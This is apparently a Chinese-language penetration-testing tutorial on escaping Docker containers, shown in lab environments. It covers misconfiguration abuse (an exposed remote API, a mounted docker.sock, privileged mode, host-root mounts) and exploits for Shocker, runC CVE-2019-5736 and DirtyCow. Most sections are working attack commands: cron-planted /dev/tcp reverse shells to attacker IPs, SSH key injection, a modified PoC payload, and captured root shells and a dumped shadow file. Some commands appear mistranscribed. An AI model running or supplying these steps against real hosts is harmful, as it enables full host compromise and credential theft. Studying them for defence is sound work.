一、判断是否在docker容器里

首先,我们需要先判断是否在docker环境里,常用的两个检测方式:

检查/.dockerenv文件是否存在 检查/proc/1/cgroup内是否包含"docker"等字符串。

目前来说,这两种检测方式还是比较有效的,其他检测方式,如检测mount、fdisk-l查看硬盘、判断PID 1的进程名等也可用来辅助判断。

二、配置不当引发的docker逃逸

2.1 docker remote api未授权访问

漏洞简述:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

通过docker daemon api 执行docker命令。

#列出容器信息,效果与docker ps一致。 curl http://<target>:2375/containers/json

#启动容器

docker -H tcp://<target>:2375 ps -a

漏洞利用:

A、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

B、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

C、本地监听端口,获取对方宿主机shell。

2.2 docker.sock挂载到容器内部

场景描述:简单来说就是docker in docker, 在docker容器中调用和执行宿主机的docker, 将docker宿主机的docker文件和docker.sock文件挂载到容器中,具体为:

```
docker run --rm -it \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v /usr/bin/docker:/usr/bin/docker \
  ubuntu \
  /bin/bash
```

漏洞测试:

A、在容器中找到docker.sock

```
root@95a280bc5a19:/# find / -name docker.sock
/run/docker.sock
```

B、在容器查看宿主机docker信息:

```
docker -H unix:///var/run/docker.sock info
```

C、运行一个新容器并挂载宿主机根路径:

```
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
```

D、在新容器的/test 目录下,就可以访问到宿主机的全部资源,接下来就是写入ssh密钥或者写入计划任务,获取shell。

```
ls -al /test
root@4d2a54d4a8fb:/# docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
root@9c09b148d10f:/# ls
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys test m usr var
root@9c09b148d10f:/# ls -al /test
total 92
drwxr-xr-x 1 root root 4096 Jul 28 11:46 .
-rw----- 1 root root 24 7:1 20 15:23 .
drwxr-xr-x 23 root root 4096 Jul 28 11:46
                                   34 Jul 28 11:46 .bash_history
drwxr-xr-x 2 root root 4096 Jul 27 03:27 bin
drwxr-xr-x 3 root root 4096 Jul 27 02:20 boo
                                 4096 Jul 27 02:20 boot
drwxr-xr-x 17 root root
                                4240 Jul 27 15:14 dev
drwxr-xr-x 99 root root
                                4096 Jul 27 15:14 etc
drwxr-xr-x 3 root root 4096 Jul 27 02:20 home
lrwxrwxrwx 1 root root 32 Jul 27 01:50 init
                                   32 Jul 27 01:50 initrd.img -> boot/initrd.img-4.4.0-31-generic
drwxr-xr-x 21 root root 4096 Jul 27 05:14 lib
drwxr-xr-x 2 root root 4096 Jul 27 05:14 lib64
drwxr-xr-x 3 root root 16384 Jul 27 01:49 lost+found
drwxr-xr-x 3 root root 4096 Jul 27 01:49 media
drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt
drwxr-xr-x 2 root root 4096 Aug 3 2016 opt
dr-xr-xr-x 208 root root
                                   0 Jul 27 15:14 proc
drwx----
               5 root root 4096 Jul 28 11:27 root
drwxr-xr-x 19 root root
                                 760 Jul 28 11:32 run
drwxr-xr-x 2 root root 4096 Jul 27 03:27 sbin
drwxr-xr-x 2 root root 4096 Aug 3 2016 srv
dr-xr-xr-x 13 root root
                                    0 Jul 28 07:38 sys
drwxr-xr-x 3 root root 4096 Jul 27 14:43 titan
drwxrwxrwt 5 root root 4096 Jul 28 15:23
drwxr-xr-x 10 root root
                                4096 Jul 27 01:49 usr
drwxr-xr-x 13 root root 4096 Jul 27 14:43 var
                                   29 Jul 27 01:50 vmlinuz -> boot/vmlinuz-4.4.0-31-generic
lrwxrwxrwx 1 root root
```

2.3 docker 高危启动参数

docker中存在一些比较高危的启动命令,给予容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。

```
docker run --rm -it
    --privileged
    -v /:/soft
    --cap-add=SYS_ADMIN
    --net=host
    --pid=host
    --ipc=host
    ubuntu
    /bin/bash
```

特权模式 (--privileged)

使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

漏洞测试:

A、通过特权模式运行一个容器:

```
sudo docker run -itd --privileged ubuntu:latest /bin/bash
```

B、在容器内, 查看磁盘文件

```
fdisk -1
```

```
root@2b7a83c2081f:/# fdisk -1
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x8136f455
Device
          Boot
                  Start
                            End Sectors Size Id Type
                  2048 39942143 39940096
/dev/sdal *
                                          19G 83 Linux
/dev/sda2
               39944190 41940991 1996802 975M 5 Extended
/dev/sda5
               39944192 41940991 1996800 975M 82 Linux swap / Solaris
```

C、将/dev/sda1 挂载到新建目录

```
mkdir /test
mount /dev/sda1 /test
```

D、将计划任务写入到宿主机

```
echo '* * * * /bin/bash -i >& /dev/tcp/192.168.172.136/12345 0>&1' >>
/test/var/spool/cron/crontabs/root
```

E、开启nc监听,成功获取宿主机反弹回来的shell。

挂载敏感目录 (-v/:/soft)

漏洞测试:

A、将宿主机root目录挂载到容器

```
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash
```

B、模拟攻击者写入ssh密钥

```
mkdir /root/.ssh
cat id_rsa.pub >> /root/.ssh/authorized_keys
```

C、利用私钥成功登录。获取宿主机权限。

```
root@bypass:~# ssh root@10.1.1.216
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86 64)
```

* Documentation: https://help.ubuntu.com/

System information as of Tue Jul 28 19:24:12 CST 2020

```
System load: 0.14
                              Users logged in:
```

20.1% of 17.59GB IP address for eth0: Usage of /: 10.1.1.216 Memory usage: 24% IP address for br-8ab58f17371c: 172.18.0.1 Swap usage: 0% IP address for docker0: 172.17.0.1

Processes: 192

Graph this data and manage this system at: https://landscape.canonical.com/

New release '16.04.6 LTS' available. Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Jul 28 19:24:12 2020 from 10.1.1.219

root@ubuntu:~# whoami

root

相关启动参数存在的安全问题:

Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通 讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

```
--cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用。
--net=host
                 启动时,绕过Network Namespace
--pid=host
                 启动时,绕过PID Namespace
--ipc=host
                 启动时,绕过IPC Namespace
```

二、Docker 软件设计引起的逃逸

3.1 Shocker 攻击

漏洞描述:从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用 open_by_handle_at函数 , Linux手册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力 , 而Docker1.0版本对Capability使用黑名单管理策略 , 并且没有限制CAP_DAC_READ_SEARCH能力 , 因而引发了容器逃逸的风险。

漏洞影响版本: Docker版本< 1.0,存在于 Docker 1.0 之前的绝大多数版本。

github项目地址: https://github.com/gabrtv/shocker

```
root@precise64:~# docker run gabrtv/shocker
                                                            [***]
[***] docker VMM-container breakout Po(C) 2014
[***] The tea from the 90's kicks your sekurity again.
                                                           [***]
[***] If you have pending sec consulting, I'll happily
                                                           [***]
[***] forward to my friends who drink secury-tea too!
                                                           [***]
[*] Resolving 'etc/shadow'
[*] Found vmlinuz
[*] Found vagrant
[*] Found lib64
[*] Found usr
[*] Found ...
[*] Found etc
[+] Match: etc ino=3932161
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'shadow'
[*] Found timezone
[*] Found cron.hourly
[*] Found skel
[*] Found shadow
[+] Match: shadow ino=3935729
[*] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xf1, 0x0d, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xf1, 0x0d, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
root:!:15597:0:99999:7:::
daemon: *:15597:0:99999:7:::
bin:*:15597:0:99999:7:::
sys:*:15597:0:99999:7:::
sync:*:15597:0:99999:7:::
games:*:15597:0:99999:7:::
man:*:15597:0:99999:7:::
```

3.2 runC容器逃逸漏洞 (CVE-2019-5736)

漏洞简述:

Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

利用条件:

Docker版本 < 18.09.2, runc版本 < 1.0-rc6, 一般情况下,可通过 docker 和docker-runc 查看当前版本情况。

漏洞测试:

1、测试环境镜像下载安装:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载POC,修改脚本,编译

```
下载poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

#修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

拷贝到docker容器中执行
sudo docker cp ./main 248f8b7d3c45:/tmp
```

3、模仿攻击者,在容器中执行payload

```
# 进入容器
sudo docker exec -it 248f8b7d3c45 /bin/bash

# 修改权限
chmod 777 main

# 执行Payload
./main
```

```
root@cafa20cfb0f9:/# cd /tmp
root@cafa20cfb0f9:/tmp# chmod 777 main
root@cafa20cfb0f9:/tmp#
root@cafa20cfb0f9:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 62
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc820lee0a0}
```

4、假设,管理员通过exec进入容器,从而触发Payload。

sudo docker exec -it cafa20cfb0f9 /bin/sh

5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell。

```
bypass@ubuntu:~$ nc -1vvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
bypass@ubuntu:~$ nc -1vvp 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from [192.168.172.137] port 12345 [tcp/*] accepted (family 2, sport 44956)
bash: cannot set terminal process group (23192): Inappropriate ioctl for device
bash: no job control in this shell
<136e47f47a7c92f7a1ecc45aef2674e52b4ab9a6702fd6b06# whoami
whoami
<136e47f47a7c92f7a1ecc45aef2674e52b4ab9a6702fd6b06# hostname
hostname
<136e47f47a7c92f7alecc45aef2674e52b4ab9a6702fd6b06# ifconfig
docker0
          Link encap:Ethernet HWaddr 02:42:81:0f:86:01
          inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
          inet6 addr: fe80::42:81ff:fe0f:8601/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B) TX bytes:648 (648.0 B)
ens33
          Link encap:Ethernet HWaddr 00:0c:29:33:95:be
         inet addr:192.168.172.137 Bcast:192.168.172.255 Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe33:95be/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:179183 errors:0 dropped:0 overruns:0 frame:0
          TX packets:75549 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:253108722 (253.1 MB) TX bytes:5605289 (5.6 MB)
```

3.3 Docker cp命令可导致容器逃逸攻击漏洞 (CVE-2019-14271)

漏洞描述:

影响版本:

Docker 19.03.0

安全版本:

升级至安全版本 Docker 19.03.1及以上。

四、内核漏洞引起的逃逸

4.1 利用DirtyCow漏洞实现Docker逃逸

漏洞简述:

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。

漏洞测试:

1、环境准备:

docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。

这里, 我们使用ubuntu-14.04.5来复现。

2、测试容器下载并运行:

```
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
```

3、进入容器,编译POC并执行:

```
cd /dirtycow-vdso/
make
./0xdeadbeef 192.168.172.136:1234
```

```
root@bb7a404c27e8:/# cd /dirtycow-vdso/
root@bb7a404c27e8:/dirtycow-vdso# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
root@bb7a404c27e8:/dirtycow-vdso# ./0xdeadbeef 192.168.172.136:1234
[*] payload target: 192.168.172.136:1234
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...
```

4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。

```
bypass@ubuntu:~$ nc -1vvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [192.168.172.134] port 1234 [tcp/*] accepted (family 2, sport 55048)
whoami
root
hostname
ubuntu-docker
ifconfig
br-1299efc41ff2 Link encap:Ethernet HWaddr 02:42:e1:38:ef:90
         inet addr:172.18.0.1 Bcast:172.18.255.255 Mask:255.255.0.0
          inet6 addr: fe80::42:elff:fe38:ef90/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:0 (0.0 B) TX bytes:1169 (1.1 KB)
docker0
         Link encap:Ethernet HWaddr 02:42:38:b5:ed:b4
         inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
         inet6 addr: fe80::42:38ff:feb5:edb4/64 Scope:Link
         UP BROADCAST MULTICAST MTU:1500 Metric:1
         RX packets:7390 errors:0 dropped:0 overruns:0 frame:0
         TX packets:11808 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
         RX bytes:313730 (313.7 KB) TX bytes:61356734 (61.3 MB)
         Link encap:Ethernet HWaddr 00:0c:29:a6:52:47
eth0
         inet addr:192.168.172.134 Bcast:192.168.172.255 Mask:255.255.255.0
         inet6 addr: fe80::20c:29ff:fea6:5247/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:189181 errors:0 dropped:0 overruns:0 frame:0
```